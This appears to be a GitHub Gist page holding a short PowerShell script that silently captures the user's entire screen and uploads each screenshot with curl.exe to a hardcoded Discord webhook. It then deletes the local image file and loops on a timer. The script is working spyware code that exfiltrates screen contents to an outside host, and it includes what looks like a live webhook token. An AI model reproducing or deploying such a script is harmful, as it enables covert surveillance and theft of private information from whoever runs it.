Created
July 11, 2025 06:19
-
-
Save Libinth08/29dd83d5944b1ef7fd1d74907523c596 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$seconds = 30 # Interval between screenshots | |
$a = 1 # Number of screenshots to take | |
$dc = "1393093891036680202/6EWJI77R-6xHukCw63EK147xeF83XIpUcjStwIkgsWlTeVtcgeinaATb5ulPlmN-xN62" | |
if ($dc.Length -lt 120) { | |
$hookurl = "https://discord.com/api/webhooks/$dc" | |
} else { | |
$hookurl = $dc | |
} | |
Add-Type -AssemblyName System.Windows.Forms | |
Add-Type -AssemblyName System.Drawing | |
while ($a -gt 0) { | |
$filett = "$env:TEMP\SC.png" | |
$screen = [System.Windows.Forms.SystemInformation]::VirtualScreen | |
$bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height | |
$graphic = [System.Drawing.Graphics]::FromImage($bitmap) | |
$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size) | |
$bitmap.Save($filett, [System.Drawing.Imaging.ImageFormat]::Png) | |
curl.exe -F "file1=@$filett" $hookurl | |
Remove-Item -Path $filett -Force | |
Start-Sleep -Seconds $seconds | |
$a-- | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment